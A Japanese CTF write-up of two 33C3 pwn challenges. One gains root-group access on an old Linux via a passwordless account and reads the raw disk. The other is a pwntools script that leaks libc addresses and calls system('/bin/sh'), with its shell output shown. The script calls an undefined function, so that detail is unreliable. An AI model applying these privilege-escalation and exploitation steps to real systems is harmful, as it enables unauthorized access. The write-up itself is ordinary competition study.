33C3 CTF writeup
はじめに
TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。
The 0x90s called (pwn 150)
Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。
% nc 78.46.224.70 2323 Welcome to Linux 0.99pl12. slack login: challenge Password:challenge Linux 0.99pl12. (Posix). No mail. slack:~$ uname -a Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586
/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。
cat /etc/passwd root::0:0::/:/bin/sh daemon:x:1:1::/etc: bin:x:2:2::/bin: adm:x:4:4::/: uucp::5:5::/usr/uucp: sync::255:0:::/bin/sync anonymous:*:403:1::/home/ftp:/bin/sh ftp:*:404:1::/home/ftp:/bin/sh challenge:*:405:1::/home/challenge: slack:~$ su sync -c 'id' uid=255(sync) gid=0(root)
プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.
su sync -c 'cat /dev/hda' (skip) 33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3 (skip)
rec
flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。
Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。
from pwn import * def m(u32): return -(0xffffffff - u32 + 1) def send_cmd(num): repr(conn.recvuntil('> ')) conn.sendline(str(num)) print '< ', num return def send_addr100(addr): for i in range(100): conn.sendline(str(addr)) host = '78.46.224.74' port = 4127 # myabe address so must dump libc libc_stdout_offset = 0x1b3d60 libc_system_offset = 0x3b020 libc_binsh_offset = 0x15cbcf libc_system_offset = 0x0003a8b0 conn = remote(host, port) # leak some addreses send_cmd(1) conn.recvuntil('Your note: ') recv = conn.recv(16) print repr(recv) stack_addr = u32(recv[0:4]) pie_base = u32(recv[4:8]) - 0x6fb libc_base = u32(recv[8:12]) - libc_stdout_offset print '[+] pie_base =', hex(pie_base) print '[+] libc_base =', hex(libc_base) send_cmd(2) conn.recvuntil(': ') conn.sendline('S') send_func100(m(libc_base + libc_system_offset)) conn.recvuntil(': ') conn.sendline(str(m(libc_base + libc_binsh_offset))) conn.sendline('.') send_cmd(5) conn.sendline('0') conn.interactive()
% python exploit.py [+] Opening connection to 78.46.224.74 on port 4127: Done < 1 '\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV' [+] pie_base = 0x565a1000 [+] libc_base = 0xf7526000 < 2 < 5 [*] Switching to interactive mode $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ ls bin boot challenge dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old $ cat /challenge/flag 33C3_L0rd_Nikon_would_l3t_u_1n
おわりに
任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。